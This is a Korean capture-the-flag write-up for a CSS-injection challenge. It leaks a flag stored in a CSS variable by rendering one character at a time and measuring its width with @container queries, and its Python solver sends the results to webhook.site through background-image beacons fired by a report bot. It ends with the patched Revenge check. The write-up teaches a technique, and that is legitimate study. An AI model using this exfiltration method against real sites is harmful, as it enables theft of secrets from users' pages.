다른 문제들은 codex oneshot으로 풀렸다…
Capture The F__l__a__g & Capture The F__l__a__g Revenge
import express from "express";
import cookieParser from "cookie-parser";
const template = `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<style>
:root {
--flag: "";
}
/* Your CSS here! */
</style>
</head>
<body>
<h1>Capture The 🚩!</h1>
</body>
</html>
`.trim();
express()
.use(cookieParser())
.get("/", (req, res) => {
let { css = "", sep = "" } = req.query;
const FLAG = req.cookies.FLAG ?? "tkbctf{dummy}";
if (sep.length > 2) sep = "";
const html = template
.replace("", () => FLAG.split("").join(sep))
.replace("", () => css.replace(/[<>]/g, ""));
res.setHeader(
"Content-Security-Policy",
"default-src 'none'; style-src 'unsafe-inline'; font-src 'none'; img-src *",
);
res.send(html);
})
.listen(3000);
css안에 있는 flag를 bot을 통해 leak하는 문제이다.
문제 해결 아이디어는 다음과 같다.
sep='""'를 사용해서 플래그를 문자 단위의 문자열 목록처럼 만든다.quotes: var(--flag)를 이용해 각 문자를 quote string으로 해석시킨다.no-open-quote,open-quote,close-quote를 조합해서 원하는 index의 문자 하나만 렌더링한다.- 그 문자의 폭을
@container를 사용해서 후보 집합을 구한다. - 같은 문자를
regular와oblique에서 각각 계산하고, 두 후보 집합에 들어있는 값을 구한다.
sep 사용
--flag: "";
예를 들어 플래그가 tkb라고 하면, sep='""'일 때 FLAG.split("").join(sep)의 결과는 아래처럼 들어간다.
--flag: "t""k""b";
CSS 입장에서는 이것이 문자열 토큰들의 나열처럼 동작한다. 이 값을 quotes 속성에 넣으면 문자 하나하나를 quote string으로 사용할 수 있당.
quotes 속성은 문자열이 짝수 개여야 하므로 전체 플래그 길이의 홀짝이 중요…
- 전체 길이가 짝수면
quotes: var(--flag) - 전체 길이가 홀수면
quotes: var(--flag) ""
문자 하나만 렌더링
open-quote, close-quote, no-open-quote는 quote depth를 조절하면서 특정 위치의 문자열을 출력함
이를 이용해서 i(인덱스)가 짝수이면: no-open-quote를 i/2번 쓴 뒤 open-quote , i가 홀수이면: no-open-quote를 (i+1)/2번 쓴 뒤 close-quote 를 해서 특정 문자 하나만 랜더링할 수 있었다.
문자 유추
400px 크기의 FreeSans 에서 문자들의 폭은 서로 다르당.
body {
width: fit-content;
}
body:before {
display: block;
width: max-content;
}
h1 {
width: 100%;
container-type: inline-size;
}
body의 너비를 fit-content 로 두고 body:before가 실제 문자 하나의 폭을 결정하는데 h1의 폭을 100%로 두면 h1의 inline-size가 결국 문자 폭과 같아진다. 이러한 폭을 아래의 문법 형태로 분류할 수 있다.
@container (min-width: 105px) and (max-width: 117.5px) {
h1:after {
background: url(https://~~~~);
}
}
교집합
한 폰트 스타일에서 폭이 같은 글자가 많이 존재해 같은 글자를 2개의 스타일로 측정해서 교집합을 계산한다.
안정성을 위새 폰트 패밀리는 같고, 렌더링 스타일만 다른 FreeSans regular, FreeSans oblique를 사용
solve code
#!/usr/bin/env python3
import argparse
import string
import time
import urllib.parse
from collections import defaultdict
from dataclasses import dataclass
from typing import Dict, Iterable, List, Sequence, Tuple
import requests
REPORT_BASE_DEFAULT = "http://35.194.108.145:61575"
KNOWN_PREFIX = "tkbctf{"
TAG_ALPHABET = string.digits + string.ascii_lowercase + string.ascii_uppercase
Group = Tuple[float, float, str]
@dataclass(frozen=True)
class Probe:
family: str
extra_css: str
widths: Dict[str, float]
PROBES: Dict[str, Probe] = {
"r": Probe(
family="FreeSans",
extra_css=(
'font-weight:400;'
'font-style:normal;'
'font-kerning:none;'
'font-feature-settings:"kern" 0;'
'font-variant-ligatures:none;'
'font-variant-numeric:proportional-nums;'
'font-synthesis:none;'
),
widths={
'A':266.40625, 'B':265.609375, 'C':283.609375, 'D':279.203125,
'E':253.203125, 'F':239.609375, 'G':306.0, 'H':288.40625,
'I':111.203125, 'J':211.203125, 'K':269.609375, 'L':225.203125,
'M':338.40625, 'N':292.0, 'O':313.609375, 'P':262.40625,
'Q':313.609375, 'R':283.609375, 'S':266.8125, 'T':252.8125,
'U':288.0, 'V':258.0, 'W':374.8125, 'X':262.8125,
'Y':271.203125, 'Z':246.0,
'a':217.203125, 'b':223.609375, 'c':202.40625, 'd':223.609375,
'e':213.203125, 'f':112.0, 'g':220.0, 'h':214.40625,
'i':88.8125, 'j':97.203125, 'k':205.609375, 'l':85.609375,
'm':324.8125, 'n':214.8125, 'o':213.609375, 'p':223.609375,
'q':223.609375, 'r':132.8125, 's':197.203125, 't':112.0,
'u':214.8125, 'v':198.40625, 'w':288.8125, 'x':190.40625,
'y':191.203125, 'z':194.40625,
'0':217.609375, '1':143.609375, '2':222.8125, '3':221.609375,
'4':220.8125, '5':223.203125, '6':220.0, '7':213.609375,
'8':222.40625, '9':220.40625,
'_':200.0, '{':133.203125, '}':133.203125,
},
),
"o": Probe(
family="FreeSans",
extra_css=(
'font-weight:400;'
'font-style:oblique;'
'font-kerning:none;'
'font-feature-settings:"kern" 0;'
'font-variant-ligatures:none;'
'font-variant-numeric:proportional-nums;'
'font-synthesis:none;'
),
widths={
'A':266.8125, 'B':265.609375, 'C':284.0, 'D':280.8125,
'E':262.8125, 'F':240.40625, 'G':311.203125, 'H':288.40625,
'I':111.203125, 'J':202.8125, 'K':266.8125, 'L':222.40625,
'M':338.40625, 'N':292.0, 'O':308.0, 'P':258.40625,
'Q':310.40625, 'R':283.609375, 'S':260.40625, 'T':244.40625,
'U':288.40625, 'V':258.0, 'W':374.8125, 'X':267.609375,
'Y':271.203125, 'Z':244.40625,
'a':221.609375, 'b':224.40625, 'c':206.0, 'd':223.203125,
'e':218.8125, 'f':104.0, 'g':220.8125, 'h':216.0,
'i':88.8125, 'j':96.8125, 'k':200.8125, 'l':88.8125,
'm':326.40625, 'n':216.0, 'o':222.40625, 'p':225.203125,
'q':222.40625, 'r':129.609375, 's':197.203125, 't':106.0,
'u':215.203125, 'v':198.8125, 'w':289.203125, 'x':196.0,
'y':191.609375, 'z':200.0,
'0':217.609375, '1':143.609375, '2':222.8125, '3':221.609375,
'4':220.8125, '5':223.203125, '6':220.0, '7':213.609375,
'8':222.40625, '9':220.40625,
'_':200.0, '{':133.609375, '}':133.609375,
},
),
}
def grouped_widths(widths: Dict[str, float]) -> List[Tuple[float, List[str]]]:
groups: Dict[float, List[str]] = defaultdict(list)
for ch, width in widths.items():
groups[width].append(ch)
return sorted((width, sorted(chars)) for width, chars in groups.items())
def width_intervals(widths: Dict[str, float]) -> List[Tuple[float, float, List[str]]]:
groups = grouped_widths(widths)
out: List[Tuple[float, float, List[str]]] = []
for i, (width, chars) in enumerate(groups):
lo = 0.0 if i == 0 else (groups[i - 1][0] + width) / 2.0
hi = 10000.0 if i == len(groups) - 1 else (width + groups[i + 1][0]) / 2.0
out.append((lo, hi, chars))
return out
def extractor_tokens(index: int) -> str:
if index < 0:
raise ValueError("index must be non-negative")
if index % 2 == 0:
tokens = ["no-open-quote"] * (index // 2) + ["open-quote"]
else:
tokens = ["no-open-quote"] * ((index + 1) // 2) + ["close-quote"]
return " ".join(tokens)
def grouped_intervals(probe_key: str) -> List[Group]:
return [
(lo, hi, "".join(chars))
for lo, hi, chars in width_intervals(PROBES[probe_key].widths)
]
def chunked(items: Sequence[Group], size: int) -> List[List[Group]]:
return [list(items[i : i + size]) for i in range(0, len(items), size)]
def short_tag(counter: int, slot: int) -> str:
if slot >= len(TAG_ALPHABET):
raise ValueError("slot out of range")
return f"{counter:x}{TAG_ALPHABET[slot]}"
def format_px(value: float) -> str:
text = f"{value:.2f}".rstrip("0").rstrip(".")
return text or "0"
def build_css(
index: int,
probe_key: str,
groups: Sequence[Group],
token: str,
counter: int,
parity: str,
pad_px: float = 0.0,
) -> Tuple[str, Dict[str, str]]:
probe = PROBES[probe_key]
tokens = extractor_tokens(index)
quotes_decl = "body{width:fit-content;quotes:var(--flag)}"
if parity == "odd":
quotes_decl = 'body{width:fit-content;quotes:var(--flag) ""}'
css = [
"html,body{margin:0;padding:0}",
quotes_decl,
(
"body:before{"
f"content:{tokens};display:block;width:max-content;"
f"font:400 400px/1 {probe.family};"
f"{probe.extra_css}"
"}"
),
"h1{margin:0;width:100%;height:0;overflow:hidden;font-size:0;line-height:0;container-type:inline-size}",
]
tag_to_group: Dict[str, str] = {}
for slot, (lo, hi, group) in enumerate(groups):
tag = short_tag(counter, slot)
tag_to_group[tag] = group
beacon = f"https://webhook.site/{token}/{tag}"
lo = max(0.0, lo - pad_px)
hi = hi + pad_px
css.append(
"@container "
f"(min-width:{format_px(lo)}px) and (max-width:{format_px(hi)}px)"
"{h1:after{content:\"\";display:block;width:1px;height:1px;"
f"background:url({beacon})"
"}}"
)
return "".join(css), tag_to_group
def build_target_url(
index: int,
probe_key: str,
groups: Sequence[Group],
token: str,
counter: int,
parity: str,
pad_px: float = 0.0,
) -> Tuple[str, Dict[str, str]]:
css, tag_to_group = build_css(
index=index,
probe_key=probe_key,
groups=groups,
token=token,
counter=counter,
parity=parity,
pad_px=pad_px,
)
params = {
"sep": '""',
"css": css,
}
return "http://web:3000/?" + urllib.parse.urlencode(params), tag_to_group
class Solver:
def __init__(
self,
report_base: str,
parity: str | None = None,
min_interval_sec: float = 35.0,
poll_timeout_sec: float = 35.0,
):
self.report_base = report_base.rstrip("/")
self.min_interval_sec = min_interval_sec
self.poll_timeout_sec = poll_timeout_sec
self.next_send_time = 0.0
self.session = requests.Session()
self.token = self._create_webhook_token()
self.seen_request_ids: set[str] = set()
self.tag_counter = 0
self.regular_groups = grouped_intervals("r")
self.oblique_groups = grouped_intervals("o")
self.regular_bins = chunked(self.regular_groups, 7)
self.oblique_bins = chunked(self.oblique_groups, 7)
self.parity = parity
def _create_webhook_token(self) -> str:
url = "https://webhook.site/token"
headers = {
"Accept": "application/json",
"Content-Type": "application/json",
}
for attempt in range(1, 6):
try:
r = self.session.post(url, headers=headers, timeout=20)
if r.status_code == 201:
token = r.json()["uuid"]
print(f"[+] webhook token: {token}", flush=True)
return token
print(f"[!] token create failed status={r.status_code} body={r.text[:200]!r}", flush=True)
except Exception as exc:
print(f"[!] token create error attempt={attempt}: {type(exc).__name__}: {exc}", flush=True)
time.sleep(min(10, attempt * 2))
raise RuntimeError("failed to create webhook.site token")
def _wait_rate_limit_slot(self) -> None:
now = time.time()
if now < self.next_send_time:
time.sleep(self.next_send_time - now)
def _post_report(self, target_url: str) -> None:
self._wait_rate_limit_slot()
url = f"{self.report_base}/api/report"
payload = {"url": target_url}
while True:
try:
r = self.session.post(url, json=payload, timeout=20)
except Exception as exc:
print(f"[!] report post error: {type(exc).__name__}: {exc}; retrying in 5s", flush=True)
time.sleep(5)
continue
if r.status_code == 200:
self.next_send_time = time.time() + self.min_interval_sec
return
if r.status_code == 429:
retry_after = r.headers.get("retry-after")
wait_s = 65.0
if retry_after:
try:
wait_s = max(wait_s, float(retry_after))
except ValueError:
pass
print(f"[!] rate-limited by bot (429). waiting {wait_s:.0f}s", flush=True)
time.sleep(wait_s)
continue
print(f"[!] report status={r.status_code} body={r.text[:200]!r}; retrying in 10s", flush=True)
time.sleep(10)
def _fetch_requests(self) -> List[Dict]:
url = f"https://webhook.site/token/{self.token}/requests"
params = {"sorting": "newest", "per_page": 100}
headers = {"Accept": "application/json"}
r = self.session.get(url, params=params, headers=headers, timeout=20)
r.raise_for_status()
return r.json().get("data", [])
def _wait_for_tags(self, valid_tags: Iterable[str], settle_sec: float = 2.5) -> List[str]:
valid = set(valid_tags)
end = time.time() + self.poll_timeout_sec
hits: List[str] = []
first_hit_at: float | None = None
while time.time() < end:
try:
data = self._fetch_requests()
except Exception as exc:
print(f"[!] poll error: {type(exc).__name__}: {exc}", flush=True)
time.sleep(2)
continue
found_new = False
for req in data:
req_id = req.get("uuid")
if req_id in self.seen_request_ids:
continue
self.seen_request_ids.add(req_id)
url = req.get("url") or ""
tag = url.rsplit("/", 1)[-1]
if tag in valid:
hits.append(tag)
found_new = True
if first_hit_at is None:
first_hit_at = time.time()
if hits and first_hit_at is not None:
if (time.time() - first_hit_at) >= settle_sec and not found_new:
return hits
time.sleep(1.5)
if hits:
return hits
raise RuntimeError(f"no beacon for tags={sorted(valid)!r}")
def _probe_groups(self, index: int, probe_key: str, groups: Sequence[Group], label: str, pad_px: float = 0.0) -> str:
counter = self.tag_counter
self.tag_counter += 1
target, tag_to_group = build_target_url(
index=index,
probe_key=probe_key,
groups=groups,
token=self.token,
counter=counter,
parity=self.parity or "even",
pad_px=pad_px,
)
print(
f"[*] probe index={index} p={probe_key} parity={self.parity} stage={label} groups={len(groups)} pad={pad_px} url_len={len(target)}",
flush=True,
)
self._post_report(target)
tags = self._wait_for_tags(tag_to_group)
uniq_tags = list(dict.fromkeys(tags))
chars = sorted({ch for tag in uniq_tags for ch in tag_to_group[tag]})
group = "".join(chars)
print(f" -> tags={uniq_tags} group={group!r}", flush=True)
return group
def _probe_probe(self, index: int, probe_key: str) -> str:
bins = self.regular_bins if probe_key == "r" else self.oblique_bins
primary: List[Group] = []
for idx, bucket in enumerate(bins):
primary.append((bucket[0][0], bucket[-1][1], str(idx)))
selected_bin = int(self._probe_groups(index=index, probe_key=probe_key, groups=primary, label="coarse"))
try:
return self._probe_groups(index=index, probe_key=probe_key, groups=bins[selected_bin], label=f"fine{selected_bin}")
except RuntimeError:
return self._probe_groups(
index=index,
probe_key=probe_key,
groups=bins[selected_bin],
label=f"fine{selected_bin}p",
pad_px=3.0,
)
def detect_parity(self) -> str:
expected = {0: "t", 1: "k", 2: "b"}
saved_parity = self.parity
for parity in ("even", "odd"):
self.parity = parity
matches = 0
try:
for index, ch in expected.items():
group = self._probe_probe(index=index, probe_key="r")
if ch in group:
matches += 1
else:
break
except Exception as exc:
print(f"[!] parity={parity} check failed: {type(exc).__name__}: {exc}", flush=True)
continue
if matches == len(expected):
print(f"[+] parity detected from known prefix: {parity}", flush=True)
return parity
self.parity = saved_parity
raise RuntimeError("could not determine parity from known prefix")
def solve_index(self, index: int) -> str:
regular = self._probe_probe(index=index, probe_key="r")
if regular == "{}" and index >= len(KNOWN_PREFIX):
return "}"
if len(regular) == 1:
return regular
oblique = self._probe_probe(index=index, probe_key="o")
inter = sorted(set(regular) & set(oblique))
if len(inter) == 1:
return inter[0]
if set(inter) == set("{}"):
return "}"
raise RuntimeError(
f"could not resolve index {index}: regular={regular!r} oblique={oblique!r} inter={''.join(inter)!r}"
)
def self_test(self) -> None:
if self.parity is None:
self.parity = self.detect_parity()
for index, expected in ((0, "t"), (1, "k"), (2, "b")):
got = self.solve_index(index)
print(f"[+] self-test index={index} expected={expected!r} got={got!r}", flush=True)
if got != expected:
raise RuntimeError(f"self-test failed at index {index}: expected {expected!r}, got {got!r}")
def solve(self, prefix: str = KNOWN_PREFIX, start_index: int | None = None) -> str:
if self.parity is None:
self.parity = self.detect_parity()
out = list(prefix)
begin = start_index if start_index is not None else len(prefix)
for index in range(begin, 28):
ch = self.solve_index(index)
out.append(ch)
partial = "".join(out)
print(f"[+] index={index} char={ch!r} partial={partial}", flush=True)
if ch == "}":
print(f"[+] flag: {partial}", flush=True)
return partial
raise RuntimeError("did not hit closing brace within max length")
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--report-base", default=REPORT_BASE_DEFAULT)
parser.add_argument("--parity", choices=["even", "odd"])
parser.add_argument("--prefix", default=KNOWN_PREFIX)
parser.add_argument("--start-index", type=int)
parser.add_argument("--self-test", action="store_true")
args = parser.parse_args()
solver = Solver(report_base=args.report_base, parity=args.parity)
if args.self_test:
solver.self_test()
return 0
print(solver.solve(prefix=args.prefix, start_index=args.start_index))
return 0
if __name__ == "__main__":
raise SystemExit(main())
revenge 문제는 기존 문제에서 sep의 길이를 확인하는 부분에서 type을 확인하지 않아 array로 우회가 가능한 문제가 있어서 나왔다.
if (typeof sep !== "string" || sep.length > 2) sep = "";
if (typeof css !== "string") css = "";